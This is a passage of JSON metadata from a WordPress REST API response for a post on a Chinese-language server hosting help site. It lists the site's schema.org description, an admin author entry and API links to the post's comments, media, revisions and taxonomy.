/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/15730","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=15730"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/15730\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/15711"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=15730"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=15730"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=15730"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=15730"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}